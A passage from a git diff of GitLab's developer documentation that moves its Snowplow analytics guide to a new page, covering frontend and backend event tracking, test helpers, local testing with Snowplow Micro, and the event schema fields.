user is taking. Clicks must be prepended with `click` and activations must be prepended with `activate`. For example, focusing a form field would be `activate_form_input` and clicking a button would be `click_button`. | -| `data-track-label` | false | The `label` as described in our [Structured event taxonomy](#structured-event-taxonomy). | -| `data-track-property` | false | The `property` as described in our [Structured event taxonomy](#structured-event-taxonomy). | -| `data-track-value` | false | The `value` as described in our [Structured event taxonomy](#structured-event-taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. | -| `data-track-context` | false | The `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). | - -#### Caveats - -When using the GitLab helper method [`nav_link`](https://gitlab.com/gitlab-org/gitlab/-/blob/898b286de322e5df6a38d257b10c94974d580df8/app/helpers/tab_helper.rb#L69) be sure to wrap `html_options` under the `html_options` keyword argument. -Be careful, as this behavior can be confused with the `ActionView` helper method [`link_to`](https://api.rubyonrails.org/v5.2.3/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) that does not require additional wrapping of `html_options` - -`nav_link(controller: ['dashboard/groups', 'explore/groups'], html_options: { data: { track_label: "groups_dropdown", track_event: "click_dropdown" } })` - -vs - -`link_to assigned_issues_dashboard_path, title: _('Issues'), data: { track_label: 'main_navigation', track_event: 'click_issues_link' }` - -### Tracking within Vue components - -There's a tracking Vue mixin that can be used in components if more complex tracking is required. To use it, first import the `Tracking` library and request a mixin. - -```javascript -import Tracking from '~/tracking'; -const trackingMixin = Tracking.mixin({ label: 'right_sidebar' }); -``` - -You can provide default options that are passed along whenever an event is tracked from within your component. For instance, if all events within a component should be tracked with a given `label`, you can provide one at this time. Available defaults are `category`, `label`, `property`, and `value`. If no category is specified, `document.body.dataset.page` is used as the default. - -You can then use the mixin normally in your component with the `mixin` Vue declaration. The mixin also provides the ability to specify tracking options in `data` or `computed`. These override any defaults and allow the values to be dynamic from props, or based on state. - -```javascript -export default { - mixins: [trackingMixin], - // ...[component implementation]... - data() { - return { - expanded: false, - tracking: { - label: 'left_sidebar' - } - }; - }, -} -``` - -The mixin provides a `track` method that can be called within the template, or from component methods. An example of the whole implementation might look like the following. - -```javascript -export default { - mixins: [Tracking.mixin({ label: 'right_sidebar' })], - data() { - return { - expanded: false, - }; - }, - methods: { - toggle() { - this.expanded = !this.expanded; - this.track('click_toggle', { value: this.expanded }) - } - } -}; -``` - -And if needed within the template, you can use the `track` method directly as well. - -```html -<template> - <div> - <a class="toggle" @click.prevent="toggle">Toggle</a> - <div v-if="expanded"> - <p>Hello world!</p> - <a @click.prevent="track('click_action')">Track an event</a> - </div> - </div> -</template> -``` - -### Tracking in raw JavaScript - -Custom event tracking and instrumentation can be added by directly calling the `Tracking.event` static function. The following example demonstrates tracking a click on a button by calling `Tracking.event` manually. - -```javascript -import Tracking from '~/tracking'; - -const button = document.getElementById('create_from_template_button'); -button.addEventListener('click', () => { - Tracking.event('dashboard:projects:index', 'click_button', { - label: 'create_from_template', - property: 'template_preview', - value: 'rails', - }); -}) -``` - -### Tests and test helpers - -In Jest particularly in Vue tests, you can use the following: - -```javascript -import { mockTracking } from 'helpers/tracking_helper'; - -describe('MyTracking', () => { - let spy; - - beforeEach(() => { - spy = mockTracking('_category_', wrapper.element, jest.spyOn); - }); - - it('tracks an event when clicked on feedback', () => { - wrapper.find('.discover-feedback-icon').trigger('click'); - - expect(spy).toHaveBeenCalledWith('_category_', 'click_button', { - label: 'security-discover-feedback-cta', - property: '0', - }); - }); -}); -``` - -In obsolete Karma tests it's used as below: - -```javascript -import { mockTracking, triggerEvent } from 'spec/helpers/tracking_helper'; - -describe('my component', () => { - let trackingSpy; - - beforeEach(() => { - trackingSpy = mockTracking('_category_', vm.$el, spyOn); - }); - - const triggerEvent = () => { - // action which should trigger a event - }; - - it('tracks an event when toggled', () => { - expect(trackingSpy).not.toHaveBeenCalled(); - - triggerEvent('a.toggle'); - - expect(trackingSpy).toHaveBeenCalledWith('_category_', 'click_edit_button', { - label: 'right_sidebar', - property: 'confidentiality', - }); - }); -}); -``` - -## Implementing Snowplow Ruby (Backend) tracking - -GitLab provides `Gitlab::Tracking`, an interface that wraps the [Snowplow Ruby Tracker](https://github.com/snowplow/snowplow/wiki/ruby-tracker) for tracking custom events. - -Custom event tracking and instrumentation can be added by directly calling the `GitLab::Tracking.event` class method, which accepts the following arguments: - -| argument | type | default value | description | -|------------|---------------------------|---------------|-----------------------------------------------------------------------------------------------------------------------------------| -| `category` | String | | Area or aspect of the application. This could be `HealthCheckController` or `Lfs::FileTransformer` for instance. | -| `action` | String | | The action being taken, which can be anything from a controller action like `create` to something like an Active Record callback. | -| `label` | String | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). | -| `property` | String | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). | -| `value` | Numeric | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). | -| `context` | Array\[SelfDescribingJSON\] | nil | An array of custom contexts to send with this event. Most events should not have any custom contexts. | -| `project` | Project | nil | The project associated with the event. | -| `user` | User | nil | The user associated with the event. | -| `namespace` | Namespace | nil | The namespace associated with the event. | - -Tracking can be viewed as either tracking user behavior, or can be used for instrumentation to monitor and visualize performance over time in an area or aspect of code. - -For example: - -```ruby -class Projects::CreateService < BaseService - def execute - project = Project.create(params) - - Gitlab::Tracking.event('Projects::CreateService', 'create_project', label: project.errors.full_messages.to_sentence, - property: project.valid?.to_s, project: project, user: current_user, namespace: namespace) - end -end -``` - -### Unit testing - -Use the `expect_snowplow_event` helper when testing backend Snowplow events. See [testing best practices]( -https://docs.gitlab.com/ee/development/testing_guide/best_practices.html#test-snowplow-events) for details. - -### Performance - -We use the [AsyncEmitter](https://github.com/snowplow/snowplow/wiki/Ruby-Tracker#52-the-asyncemitter-class) when tracking events, which allows for instrumentation calls to be run in a background thread. This is still an active area of development. - -## Developing and testing Snowplow - -There are several tools for developing and testing Snowplow Event - -| Testing Tool | Frontend Tracking | Backend Tracking | Local Development Environment | Production Environment | Production Environment | -|----------------------------------------------|--------------------|---------------------|-------------------------------|------------------------|------------------------| -| Snowplow Analytics Debugger Chrome Extension | **{check-circle}** | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| Snowplow Inspector Chrome Extension | **{check-circle}** | **{dotted-circle}** | **{check-circle}** | **{check-circle}** | **{check-circle}** | -| Snowplow Micro | **{check-circle}** | **{check-circle}** | **{check-circle}** | **{dotted-circle}** | **{dotted-circle}** | -| Snowplow Mini | **{check-circle}** | **{check-circle}** | **{dotted-circle}** | **{status_preparing}** | **{status_preparing}** | - -**Legend** - -**{check-circle}** Available, **{status_preparing}** In progress, **{dotted-circle}** Not Planned - -### Preparing your MR for Review - -1. For frontend events, in the MR description section, add a screenshot of the event's relevant section using the [Snowplow Analytics Debugger](https://chrome.google.com/webstore/detail/snowplow-analytics-debugg/jbnlcgeengmijcghameodeaenefieedm) Chrome browser extension. -1. For backend events, please use Snowplow Micro and add the output of the Snowplow Micro good events `GET http://localhost:9090/micro/good`. -1. Include a member of the Product Intelligence team as a reviewer of your MR. Mention `@gitlab-org/growth/product_intelligence/engineers` in your MR to request a review. - -### Snowplow Analytics Debugger Chrome Extension - -Snowplow Analytics Debugger is a browser extension for testing frontend events. This works on production, staging and local development environments. - -1. Install the [Snowplow Analytics Debugger](https://chrome.google.com/webstore/detail/snowplow-analytics-debugg/jbnlcgeengmijcghameodeaenefieedm) Chrome browser extension. -1. Open Chrome DevTools to the Snowplow Analytics Debugger tab. -1. Learn more at [Igloo Analytics](https://www.iglooanalytics.com/blog/snowplow-analytics-debugger-chrome-extension.html). - -### Snowplow Inspector Chrome Extension - -Snowplow Inspector Chrome Extension is a browser extension for testing frontend events. This works on production, staging and local development environments. - -1. Install [Snowplow Inspector](https://chrome.google.com/webstore/detail/snowplow-inspector/maplkdomeamdlngconidoefjpogkmljm?hl=en). -1. Open the Chrome extension by pressing the Snowplow Inspector icon beside the address bar. -1. Click around on a webpage with Snowplow and you should see JavaScript events firing in the inspector window. - -### Snowplow Micro - -Snowplow Micro is a very small version of a full Snowplow data collection pipeline: small enough that it can be launched by a test suite. Events can be recorded into Snowplow Micro just as they can a full Snowplow pipeline. Micro then exposes an API that can be queried. - -Snowplow Micro is a Docker-based solution for testing frontend and backend events in a local development environment. You need to modify GDK using the instructions below to set this up. - -- Read [Introducing Snowplow Micro](https://snowplowanalytics.com/blog/2019/07/17/introducing-snowplow-micro/) -- Look at the [Snowplow Micro repository](https://github.com/snowplow-incubator/snowplow-micro) -- Watch our <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [installation guide recording](https://www.youtube.com/watch?v=OX46fo_A0Ag) - -1. Ensure Docker is installed and running. - -1. Install [Snowplow Micro](https://github.com/snowplow-incubator/snowplow-micro) by cloning the settings in [this project](https://gitlab.com/gitlab-org/snowplow-micro-configuration): -1. Navigate to the directory with the cloned project, and start the appropriate Docker - container with the following script: - - ```shell - ./snowplow-micro.sh - ``` - -1. Update your instance's settings to enable Snowplow events and point to the Snowplow Micro collector: - - ```shell - gdk psql -d gitlabhq_development - update application_settings set snowplow_collector_hostname='localhost:9090', snowplow_enabled=true, snowplow_cookie_domain='.gitlab.com'; - ``` - -1. Update `DEFAULT_SNOWPLOW_OPTIONS` in `app/assets/javascripts/tracking.js` to remove `forceSecureTracker: true`: - - ```diff - diff --git a/app/assets/javascripts/tracking.js b/app/assets/javascripts/tracking.js - index 0a1211d0a76..3b98c8f28f2 100644 - --- a/app/assets/javascripts/tracking.js - +++ b/app/assets/javascripts/tracking.js - @@ -7,7 +7,6 @@ const DEFAULT_SNOWPLOW_OPTIONS = { - appId: '', - userFingerprint: false, - respectDoNotTrack: true, - - forceSecureTracker: true, - eventMethod: 'post', - contexts: { webPage: true, performanceTiming: true }, - formTracking: false, - - ``` - -1. Update `snowplow_options` in `lib/gitlab/tracking.rb` to add `protocol` and `port`: - - ```diff - diff --git a/lib/gitlab/tracking.rb b/lib/gitlab/tracking.rb - index 618e359211b..e9084623c43 100644 - --- a/lib/gitlab/tracking.rb - +++ b/lib/gitlab/tracking.rb - @@ -41,7 +41,9 @@ def snowplow_options(group) - cookie_domain: Gitlab::CurrentSettings.snowplow_cookie_domain, - app_id: Gitlab::CurrentSettings.snowplow_app_id, - form_tracking: additional_features, - - link_click_tracking: additional_features - + link_click_tracking: additional_features, - + protocol: 'http', - + port: 9090 - }.transform_keys! { |key| key.to_s.camelize(:lower).to_sym } - end - ``` - -1. Update `emitter` in `lib/gitlab/tracking/destinations/snowplow.rb` to change `protocol`: - - ```diff - diff --git a/lib/gitlab/tracking/destinations/snowplow.rb b/lib/gitlab/tracking/destinations/snowplow.rb - index 4fa844de325..5dd9d0eacfb 100644 - --- a/lib/gitlab/tracking/destinations/snowplow.rb - +++ b/lib/gitlab/tracking/destinations/snowplow.rb - @@ -40,7 +40,7 @@ def tracker - def emitter - SnowplowTracker::AsyncEmitter.new( - Gitlab::CurrentSettings.snowplow_collector_hostname, - - protocol: 'https' - + protocol: 'http' - ) - end - end - - ``` - -1. Restart GDK: - - ```shell - `gdk restart` - ``` - -1. Send a test Snowplow event from the Rails console: - - ```ruby - Gitlab::Tracking.self_describing_event('iglu:com.gitlab/pageview_context/jsonschema/1-0-0', data: { page_type: 'MY_TYPE' }, context: nil) - ``` - -1. Navigate to `localhost:9090/micro/good` to see the event. - -### Snowplow Mini - -[Snowplow Mini](https://github.com/snowplow/snowplow-mini) is an easily-deployable, single-instance version of Snowplow. - -Snowplow Mini can be used for testing frontend and backend events on a production, staging and local development environment. - -For GitLab.com, we're setting up a [QA and Testing environment](https://gitlab.com/gitlab-org/telemetry/-/issues/266) using Snowplow Mini. - -## Snowplow Schemas - -### `gitlab_standard` - -We are including the [`gitlab_standard` schema](https://gitlab.com/gitlab-org/iglu/-/blob/master/public/schemas/com.gitlab/gitlab_standard/jsonschema/) with every event. See [Standardize Snowplow Schema](https://gitlab.com/groups/gitlab-org/-/epics/5218) for details. - -The [`StandardContext`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/tracking/standard_context.rb) class represents this schema in the application. - -| Field Name | Required | Type | Description | -|----------------|---------------------|-----------------------|---------------------------------------------------------------------------------------------| -| `project_id` | **{dotted-circle}** | integer | | -| `namespace_id` | **{dotted-circle}** | integer | | -| `environment` | **{check-circle}** | string (max 32 chars) | Name of the source environment, such as `production` or `staging` | -| `source` | **{check-circle}** | string (max 32 chars) | Name of the source application, such as `gitlab-rails` or `gitlab-javascript` | - -### Default Schema - -| Field Name | Required | Type | Description | -|--------------------------|---------------------|-----------|----------------------------------------------------------------------------------------------------------------------------------| -| `app_id` | **{check-circle}** | string | Unique identifier for website / application | -| `base_currency` | **{dotted-circle}** | string | Reporting currency | -| `br_colordepth` | **{dotted-circle}** | integer | Browser color depth | -| `br_cookies` | **{dotted-circle}** | boolean | Does the browser permit cookies? | -| `br_family` | **{dotted-circle}** | string | Browser family | -| `br_features_director` | **{dotted-circle}** | boolean | Director plugin installed? | -| `br_features_flash` | **{dotted-circle}** | boolean | Flash plugin installed? | -| `br_features_gears` | **{dotted-circle}** | boolean | Google gears installed? | -| `br_features_java` | **{dotted-circle}** | boolean | Java plugin installed? | -| `br_features_pdf` | **{dotted-circle}** | boolean | Adobe PDF plugin installed? | -| `br_features_quicktime` | **{dotted-circle}** | boolean | Quicktime plugin installed? | -| `br_features_realplayer` | **{dotted-circle}** | boolean | RealPlayer plugin installed? | -| `br_features_silverlight` | **{dotted-circle}** | boolean | Silverlight plugin installed? | -| `br_features_windowsmedia` | **{dotted-circle}** | boolean | Windows media plugin installed? | -| `br_lang` | **{dotted-circle}** | string | Language the browser is set to | -| `br_name` | **{dotted-circle}** | string | Browser name | -| `br_renderengine` | **{dotted-circle}** | string | Browser rendering engine | -| `br_type` | **{dotted-circle}** | string | Browser type | -| `br_version` | **{dotted-circle}** | string | Browser version | -| `br_viewheight` | **{dotted-circle}** | string | Browser viewport height | -| `br_viewwidth` | **{dotted-circle}** | string | Browser viewport width | -| `collector_tstamp` | **{dotted-circle}** | timestamp | Time stamp for the event recorded by the collector | -| `contexts` | **{dotted-circle}** | | | -| `derived_contexts` | **{dotted-circle}** | | Contexts derived in the Enrich process | -| `derived_tstamp` | **{dotted-circle}** | timestamp | Timestamp making allowance for inaccurate device clock | -| `doc_charset` | **{dotted-circle}** | string | Web page’s character encoding | -| `doc_height` | **{dotted-circle}** | string | Web page height | -| `doc_width` | **{dotted-circle}** | string | Web page width | -| `domain_sessionid` | **{dotted-circle}** | string | Unique identifier (UUID) for this visit of this user_id to this domain | -| `domain_sessionidx` | **{dotted-circle}** | integer | Index of number of visits that this user_id has made to this domain (The first visit is `1`) | -| `domain_userid` | **{dotted-circle}** | string | Unique identifier for a user, based on a first party cookie (so domain specific) | -| `dvce_created_tstamp` | **{dotted-circle}** | timestamp | Timestamp when event occurred, as recorded by client device | -| `dvce_ismobile` | **{dotted-circle}** | boolean | Indicates whether device is mobile | -| `dvce_screenheight` | **{dotted-circle}** | string | Screen / monitor resolution | -| `dvce_screenwidth` | **{dotted-circle}** | string | Screen / monitor resolution | -| `dvce_sent_tstamp` | **{dotted-circle}** | timestamp | Timestamp when event was sent by client device to collector | -| `dvce_type` | **{dotted-circle}** | string | Type of device | -| `etl_tags` | **{dotted-circle}** | string | JSON of tags for this ETL run | -| `etl_tstamp` | **{dotted-circle}** | timestamp | Timestamp event began ETL | -| `event` | **{dotted-circle}** | string | Event type | -| `event_fingerprint` | **{dotted-circle}** | string | Hash client-set event fields | -| `event_format` | **{dotted-circle}** | string | Format for event | -| `event_id` | **{dotted-circle}** | string | Event UUID | -| `event_name` | **{dotted-circle}** | string | Event name | -| `event_vendor` | **{dotted-circle}** | string | The company who developed the event model | -| `event_version` | **{dotted-circle}** | string | Version of event schema | -| `geo_city` | **{dotted-circle}** | string | City of IP origin | -| `geo_country` | **{dotted-circle}** | string | Country of IP origin | -| `geo_latitude` | **{dotted-circle}** | string | An approximate latitude | -| `geo_longitude` | **{dotted-circle}** | string | An approximate longitude | -| `geo_region` | **{dotted-circle}** | string | Region of IP origin | -| `geo_region_name` | **{dotted-circle}** | string | Region of IP origin | -| `geo_timezone` | **{dotted-circle}** | string | Timezone of IP origin | -| `geo_zipcode` | **{dotted-circle}** | string | Zip (postal) code of IP origin | -| `ip_domain` | **{dotted-circle}** | string | Second level domain name associated with the visitor’s IP address | -| `ip_isp` | **{dotted-circle}** | string | Visitor’s ISP | -| `ip_netspeed` | **{dotted-circle}** | string | Visitor’s connection type | -| `ip_organization` | **{dotted-circle}** | string | Organization associated with the visitor’s IP address – defaults to ISP name if none is found | -| `mkt_campaign` | **{dotted-circle}** | string | The campaign ID | -| `mkt_clickid` | **{dotted-circle}** | string | The click ID | -| `mkt_content` | **{dotted-circle}** | string | The content or ID of the ad. | -| `mkt_medium` | **{dotted-circle}** | string | Type of traffic source | -| `mkt_network` | **{dotted-circle}** | string | The ad network to which the click ID belongs | -| `mkt_source` | **{dotted-circle}** | string | The company / website where the traffic came from | -| `mkt_term` | **{dotted-circle}** | string | Keywords associated with the referrer | -| `name_tracker` | **{dotted-circle}** | string | The tracker namespace | -| `network_userid` | **{dotted-circle}** | string | Unique identifier for a user, based on a cookie from the collector (so set at a network level and shouldn’t be set by a tracker) | -| `os_family` | **{dotted-circle}** | string | Operating system family | -| `os_manufacturer` | **{dotted-circle}** | string | Manufacturers of operating system | -| `os_name` | **{dotted-circle}** | string | Name of operating system | -| `os_timezone` | **{dotted-circle}** | string | Client operating system timezone | -| `page_referrer` | **{dotted-circle}** | string | Referrer URL | -| `page_title` | **{dotted-circle}** | string | Page title | -| `page_url` | **{dotted-circle}** | string | Page URL | -| `page_urlfragment` | **{dotted-circle}** | string | Fragment aka anchor | -| `page_urlhost` | **{dotted-circle}** | string | Host aka domain | -| `page_urlpath` | **{dotted-circle}** | string | Path to page | -| `page_urlport` | **{dotted-circle}** | integer | Port if specified, 80 if not | -| `page_urlquery` | **{dotted-circle}** | string | Query string | -| `page_urlscheme` | **{dotted-circle}** | string | Scheme (protocol name) | -| `platform` | **{dotted-circle}** | string | The platform the app runs on | -| `pp_xoffset_max` | **{dotted-circle}** | integer | Maximum page x offset seen in the last ping period | -| `pp_xoffset_min` | **{dotted-circle}** | integer | Minimum page x offset seen in the last ping period | -| `pp_yoffset_max` | **{dotted-circle}** | integer | Maximum page y offset seen in the last ping period | -| `pp_yoffset_min` | **{dotted-circle}** | integer | Minimum page y offset seen in the last ping period | -| `refr_domain_userid` | **{dotted-circle}** | string | The Snowplow `domain_userid` of the referring website | -| `refr_dvce_tstamp` | **{dotted-circle}** | timestamp | The time of attaching the `domain_userid` to the inbound link | -| `refr_medium` | **{dotted-circle}** | string | Type of referer | -| `refr_source` | **{dotted-circle}** | string | Name of referer if recognised | -| `refr_term` | **{dotted-circle}** | string | Keywords if source is a search engine | -| `refr_urlfragment` | **{dotted-circle}** | string | Referer URL fragment | -| `refr_urlhost` | **{dotted-circle}** | string | Referer host | -| `refr_urlpath` | **{dotted-circle}** | string | Referer page path | -| `refr_urlport` | **{dotted-circle}** | integer | Referer port | -| `refr_urlquery` | **{dotted-circle}** | string | Referer URL query string | -| `refr_urlscheme` | **{dotted-circle}** | string | Referer scheme | -| `se_action` | **{dotted-circle}** | string | The action / event itself | -| `se_category` | **{dotted-circle}** | string | The category of event | -| `se_label` | **{dotted-circle}** | string | A label often used to refer to the ‘object’ the action is performed on | -| `se_property` | **{dotted-circle}** | string | A property associated with either the action or the object | -| `se_value` | **{dotted-circle}** | decimal | A value associated with the user action | -| `ti_category` | **{dotted-circle}** | string | Item category | -| `ti_currency` | **{dotted-circle}** | string | Currency | -| `ti_name` | **{dotted-circle}** | string | Item name | -| `ti_orderid` | **{dotted-circle}** | string | Order ID | -| `ti_price` | **{dotted-circle}** | decimal | Item price | -| `ti_price_base` | **{dotted-circle}** | decimal | Item price in base currency | -| `ti_quantity` | **{dotted-circle}** | integer | Item quantity | -| `ti_sku` | **{dotted-circle}** | string | Item SKU | -| `tr_affiliation` | **{dotted-circle}** | string | Transaction affiliation (such as channel) | -| `tr_city` | **{dotted-circle}** | string | Delivery address: city | -| `tr_country` | **{dotted-circle}** | string | Delivery address: country | -| `tr_currency` | **{dotted-circle}** | string | Transaction Currency | -| `tr_orderid` | **{dotted-circle}** | string | Order ID | -| `tr_shipping` | **{dotted-circle}** | decimal | Delivery cost charged | -| `tr_shipping_base` | **{dotted-circle}** | decimal | Shipping cost in base currency | -| `tr_state` | **{dotted-circle}** | string | Delivery address: state | -| `tr_tax` | **{dotted-circle}** | decimal | Transaction tax value (such as amount of VAT included) | -| `tr_tax_base` | **{dotted-circle}** | decimal | Tax applied in base currency | -| `tr_total` | **{dotted-circle}** | decimal | Transaction total value | -| `tr_total_base` | **{dotted-circle}** | decimal | Total amount of transaction in base currency | -| `true_tstamp` | **{dotted-circle}** | timestamp | User-set exact timestamp | -| `txn_id` | **{dotted-circle}** | string | Transaction ID | -| `unstruct_event` | **{dotted-circle}** | JSON | The properties of the event | -| `uploaded_at` | **{dotted-circle}** | | | -| `user_fingerprint` | **{dotted-circle}** | integer | User identifier based on (hopefully unique) browser features | -| `user_id` | **{dotted-circle}** | string | Unique identifier for user, set by the business using setUserId | -| `user_ipaddress` | **{dotted-circle}** | string | IP address | -| `useragent` | **{dotted-circle}** | string | User agent (expressed as a browser string) | -| `v_collector` | **{dotted-circle}** | string | Collector version | -| `v_etl` | **{dotted-circle}** | string | ETL version | -| `v_tracker` | **{dotted-circle}** | string | Identifier for Snowplow tracker | +This document was moved to [another location](snowplow/index.md). +<!-- This redirect file can be deleted after 2021-06-31. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/snowplow/index.md b/doc/development/snowplow/index.md new file mode 100644 index 00000000000..c07291d61f2 --- /dev/null +++ b/doc/development/snowplow/index.md @@ -0,0 +1,719 @@ +--- +stage: Growth +group: Product Intelligence +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Snowplow Guide + +This guide provides an overview of how Snowplow works, and implementation details. + +For more information about Product Intelligence, see: + +- [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/) +- [Usage Ping Guide](../usage_ping/index.md) + +More useful links: + +- [Product Intelligence Direction](https://about.gitlab.com/direction/product-intelligence/) +- [Data Analysis Process](https://about.gitlab.com/handbook/business-ops/data-team/#data-analysis-process/) +- [Data for Product Managers](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/) +- [Data Infrastructure](https://about.gitlab.com/handbook/business-ops/data-team/platform/infrastructure/) + +## What is Snowplow + +Snowplow is an enterprise-grade marketing and Product Intelligence platform which helps track the way users engage with our website and application. + +[Snowplow](https://github.com/snowplow/snowplow) consists of the following loosely-coupled sub-systems: + +- **Trackers** fire Snowplow events. Snowplow has 12 trackers, covering web, mobile, desktop, server, and IoT. +- **Collectors** receive Snowplow events from trackers. We have three different event collectors, synchronizing events either to Amazon S3, Apache Kafka, or Amazon Kinesis. +- **Enrich** cleans up the raw Snowplow events, enriches them and puts them into storage. We have an Hadoop-based enrichment process, and a Kinesis-based or Kafka-based process. +- **Storage** is where the Snowplow events live. We store the Snowplow events in a flat file structure on S3, and in the Redshift and PostgreSQL databases. +- **Data modeling** is where event-level data is joined with other data sets and aggregated into smaller data sets, and business logic is applied. This produces a clean set of tables which make it easier to perform analysis on the data. We have data models for Redshift and Looker. +- **Analytics** are performed on the Snowplow events or on the aggregate tables. + + + +## Snowplow schema + +We have many definitions of Snowplow's schema. We have an active issue to [standardize this schema](https://gitlab.com/gitlab-org/gitlab/-/issues/207930) including the following definitions: + +- Frontend and backend taxonomy as listed below +- [Structured event taxonomy](#structured-event-taxonomy) +- [Self describing events](https://github.com/snowplow/snowplow/wiki/Custom-events#self-describing-events) +- [Iglu schema](https://gitlab.com/gitlab-org/iglu/) +- [Snowplow authored events](https://github.com/snowplow/snowplow/wiki/Snowplow-authored-events) + +## Enabling Snowplow + +Tracking can be enabled at: + +- The instance level, which enables tracking on both the frontend and backend layers. +- User level, though user tracking can be disabled on a per-user basis. GitLab tracking respects the [Do Not Track](https://www.eff.org/issues/do-not-track) standard, so any user who has enabled the Do Not Track option in their browser is not tracked at a user level. + +We use Snowplow for the majority of our tracking strategy and it is enabled on GitLab.com. On a self-managed instance, Snowplow can be enabled by navigating to: + +- **Admin Area > Settings > General** in the UI. +- `admin/application_settings/integrations` in your browser. + +Example configuration: + +| Name | Value | +|---------------|-------------------------------| +| Collector | `your-snowplow-collector.net` | +| Site ID | `gitlab` | +| Cookie domain | `.your-gitlab-instance.com` | + +## Snowplow request flow + +The following example shows a basic request/response flow between the following components: + +- Snowplow JS / Ruby Trackers on GitLab.com +- [GitLab.com Snowplow Collector](https://gitlab.com/gitlab-com/gl-infra/readiness/-/blob/master/library/snowplow/index.md) +- The GitLab S3 Bucket +- The GitLab Snowflake Data Warehouse +- Sisense: + +```mermaid +sequenceDiagram + participant Snowplow JS (Frontend) + participant Snowplow Ruby (Backend) + participant GitLab.com Snowplow Collector + participant S3 Bucket + participant Snowflake DW + participant Sisense Dashboards + Snowplow JS (Frontend) ->> GitLab.com Snowplow Collector: FE Tracking event + Snowplow Ruby (Backend) ->> GitLab.com Snowplow Collector: BE Tracking event + loop Process using Kinesis Stream + GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Log raw events + GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Enrich events + GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Write to disk + end + GitLab.com Snowplow Collector ->> S3 Bucket: Kinesis Firehose + S3 Bucket->>Snowflake DW: Import data + Snowflake DW->>Snowflake DW: Transform data using dbt + Snowflake DW->>Sisense Dashboards: Data available for querying +``` + +## Structured event taxonomy + +When adding new click events, we should add them in a way that's internally consistent. If we don't, it is very painful to perform analysis across features since each feature captures events differently. + +The current method provides several attributes that are sent on each click event. Please try to follow these guidelines when specifying events to capture: + +| attribute | type | required | description | +| --------- | ------- | -------- | ----------- | +| category | text | true | The page or backend area of the application. Unless infeasible, please use the Rails page attribute by default in the frontend, and namespace + class name on the backend. | +| action | text | true | The action the user is taking, or aspect that's being instrumented. The first word should always describe the action or aspect: clicks should be `click`, activations should be `activate`, creations should be `create`, etc. Use underscores to describe what was acted on; for example, activating a form field would be `activate_form_input`. An interface action like clicking on a dropdown would be `click_dropdown`, while a behavior like creating a project record from the backend would be `create_project` | +| label | text | false | The specific element, or object that's being acted on. This is either the label of the element (e.g. a tab labeled 'Create from template' may be `create_from_template`) or a unique identifier if no text is available (e.g. closing the Groups dropdown in the top navigation bar might be `groups_dropdown_close`), or it could be the name or title attribute of a record being created. | +| property | text | false | Any additional property of the element, or object being acted on. | +| value | decimal | false | Describes a numeric value or something directly related to the event. This could be the value of an input (e.g. `10` when clicking `internal` visibility). | + +### Examples + +| category* | label | action | property** | value | +|-------------|------------------|-----------------------|----------|:-----:| +| [root:index] | main_navigation | click_navigation_link | `[link_label]` | - | +| [groups:boards:show] | toggle_swimlanes | click_toggle_button | - | `[is_active]` | +| [projects:registry:index] | registry_delete | click_button | - | - | +| [projects:registry:index] | registry_delete | confirm_deletion | - | - | +| [projects:blob:show] | congratulate_first_pipeline | click_button | `[human_access]` | - | +| [projects:clusters:new] | chart_options | generate_link | `[chart_link]` | - | +| [projects:clusters:new] | chart_options | click_add_label_button | `[label_id]` | - | + +_* It's ok to omit the category, and use the default._<br> +_** Property is usually the best place for variable strings._ + +### Reference SQL + +#### Last 20 `reply_comment_button` events + +```sql +SELECT + event_id, + v_tracker, + event_label, + event_action, + event_property, + event_value, + event_category, + contexts +FROM legacy.snowplow_structured_events_all +WHERE + event_label = 'reply_comment_button' + AND event_action = 'click_button' + -- AND event_category = 'projects:issues:show' + -- AND event_value = 1 +ORDER BY collector_tstamp DESC +LIMIT 20 +``` + +### Web-specific parameters + +Snowplow JS adds many [web-specific parameters](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/snowplow-tracker-protocol/#Web-specific_parameters) to all web events by default. + +## Implementing Snowplow JS (Frontend) tracking + +GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. The simplest way to use it is to add `data-` attributes to clickable elements and dropdowns. There is also a Vue mixin (exposing a `track` method), and the static method `Tracking.event`. Each of these requires at minimum a `category` and an `action`. Additional data can be provided that adheres to our [Structured event taxonomy](#structured-event-taxonomy). + +| field | type | default value | description | +|:-----------|:-------|:---------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `category` | string | `document.body.dataset.page` | Page or subsection of a page that events are being captured within. | +| `action` | string | generic | Action the user is taking. Clicks should be `click` and activations should be `activate`, so for example, focusing a form field would be `activate_form_input`, and clicking a button would be `click_button`. | +| `data` | object | `{}` | Additional data such as `label`, `property`, `value`, and `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). | + +### Usage recommendations + +- Use [data attributes](#tracking-with-data-attributes) on HTML elements that emits either the `click`, `show.bs.dropdown`, or `hide.bs.dropdown` events. +- Use the [Vue mixin](#tracking-within-vue-components) when tracking custom events, or if the supported events for data attributes are not propagating. +- Use the [Tracking class directly](#tracking-in-raw-javascript) when tracking on raw JS files. + +### Tracking with data attributes + +When working within HAML (or Vue templates) we can add `data-track-*` attributes to elements of interest. All elements that have a `data-track-action` attribute automatically have event tracking bound on clicks. + +Below is an example of `data-track-*` attributes assigned to a button: + +```haml +%button.btn{ data: { track: { action: "click_button", label: "template_preview", property: "my-template" } } } +``` + +```html +<button 